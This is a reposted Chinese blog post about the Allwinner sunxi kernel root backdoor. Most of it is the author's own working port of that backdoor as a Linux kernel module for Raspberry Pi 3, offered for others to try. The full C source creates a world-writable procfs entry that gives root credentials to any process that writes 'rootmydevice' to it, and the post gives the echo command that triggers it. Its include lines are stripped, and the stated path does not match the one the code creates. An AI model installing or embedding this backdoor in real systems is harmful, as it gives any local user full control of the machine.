【转载】全志的 Linux 内核后门分析

最近全志开发人员在其kernel中留下后门一事闹得沸沸扬扬。还不知道的同学请参看

据外媒 arstechnica 报道,一家中国的芯片级系统厂商全志(allwinner) 在其开发的产品中携带的内核里遗留了一个 root 后门。全志的处理器芯片用在很多低端的 Android 平板、机顶盒、基于 ARM 的 PC 等等之上。而这个后门非常容易获得,只需要给一个未见于文档的调试进程发送一个字符串“rootmydevice” 即可获取该设备的 root 权限。

该后门可能是开发人员调试后忘记移除的。全志公司在知道此消息后,已经从其公司的 Github 账户上删除了相关文件。

该公司使用的内核 linux-3.4-sunxi,原先用于支持全志的 ARM 芯片平板上的 Android,它也有一个社区版本。该内核也用来移植到各种全志芯片的设备上,包括桔子派Orange Pi、香蕉派Banana Pi等与树莓派Raspberry Pi兼容的开发板。

通过写入rootmydevice到/proc/sunxi-debug/sunxi-debug,一个普通用户就能拥有root的权限。实际作用代码片段如下:

cred->uid = GLOBAL_ROOT_UID;
cred->gid = GLOBAL_ROOT_GID;
cred->suid = GLOBAL_ROOT_UID;
cred->euid = GLOBAL_ROOT_UID;
cred->euid = GLOBAL_ROOT_UID;
cred->egid = GLOBAL_ROOT_GID;
cred->fsuid = GLOBAL_ROOT_UID;
cred->fsgid = GLOBAL_ROOT_GID;

本人将全志的这个后门移植到了raspberry pi 3的4.6内核,试了一下,确实好用。有兴趣的同学可以玩玩。下面是我修改过的代码。将其编译成模块,使用root插入这个模块后,任意一个用户执行如下命令,就会拥有root权限了。

    echo “rootmydevice” > /proc/sunxi-debug/sunxi-debug

当这个模块被移除,拥有root权限的普通用户恢复原来的权限。

/*
 * Sunxi_debug.c
 *
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License version 2 as
 * published by the Free Software Foundation.
 */
#include
#include
#include
#include
#include

#include
#include //add by fe3o4
#include
#include

#include

static struct proc_dir_entry *proc_root;
static struct proc_dir_entry * proc_su;
static struct cred *cred_back;
static struct task_struct *task;

static ssize_t sunxi_proc_su_write(struct file *file, const char __user *buffer,
                                    size_t count, loff_t *data)
{
    char *buf;
    struct cred *cred;

    if (count < 1)
        return -EINVAL;

    buf = kmalloc(count, GFP_KERNEL);
    if (!buf)
        return -ENOMEM;

    if (copy_from_user(buf, buffer, count)) {
        kfree(buf);
        return -EFAULT;
    }

    if(!strncmp("rootmydevice",(char*)buf,12)){
        task = current;
        cred = (struct cred *)__task_cred(task);
        memcpy(cred_back, cred, sizeof(struct cred));

        cred->uid = GLOBAL_ROOT_UID;
        cred->gid = GLOBAL_ROOT_GID;
        cred->suid = GLOBAL_ROOT_UID;
        cred->euid = GLOBAL_ROOT_UID;
        cred->euid = GLOBAL_ROOT_UID;
        cred->egid = GLOBAL_ROOT_GID;
        cred->fsuid = GLOBAL_ROOT_UID;
        cred->fsgid = GLOBAL_ROOT_GID;
        printk("now you are root\n");
    }

    kfree(buf);
    return count;
}


ssize_t sunxi_proc_su_read(struct file *file, char __user *buf, size_t size, loff_t *ppos)
{
    printk("sunxi debug: rootmydevice\n");
    return 0;
}

static int sunxi_proc_su_open(struct inode *inode, struct file *file)
{
    return 0;
}

static const struct file_operations proc_fops = {
    .open= sunxi_proc_su_open,
    .read= sunxi_proc_su_read,
    .write = sunxi_proc_su_write,
};

static int sunxi_root_procfs_attach(void)
{
    proc_root = proc_mkdir("sunxi_debug", NULL);
    proc_su= proc_create("sunxi_debug", 0666, proc_root, &proc_fops);
    if (IS_ERR(proc_su)){
        printk("create sunxi_debug dir error\n");
        return -1;
    }
    return 0;

}

static int __init sunxi_debug_init(void)
{
    int ret;

    cred_back = kmalloc(sizeof(struct cred), GFP_KERNEL);
    if (IS_ERR(cred_back))
        return PTR_ERR(cred_back);

    ret = sunxi_root_procfs_attach();
    printk("===fe3o4==== sunxi_root_procfs_attach ret:%d\n", ret);
    if(ret){
        printk("===fe3o4== sunxi_root_procfs_attach failed===\n ");
    }
    return 0;
}

static void __exit sunxi_debug_exit(void)
{
    struct cred *cred = (struct cred *)__task_cred(task);
    memcpy(cred, cred_back, sizeof(struct cred));
    kfree(cred_back);

    remove_proc_entry("sunxi_debug", proc_root);
    remove_proc_entry("sunxi_debug", NULL);
}

module_init(sunxi_debug_init);
module_exit(sunxi_debug_exit);
MODULE_LICENSE("GPL");

————————————————
版权声明:本文为CSDN博主「NewbieRock」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/github_34308866/article/details/51425308

你可能感兴趣的:(linux,服务器,windows)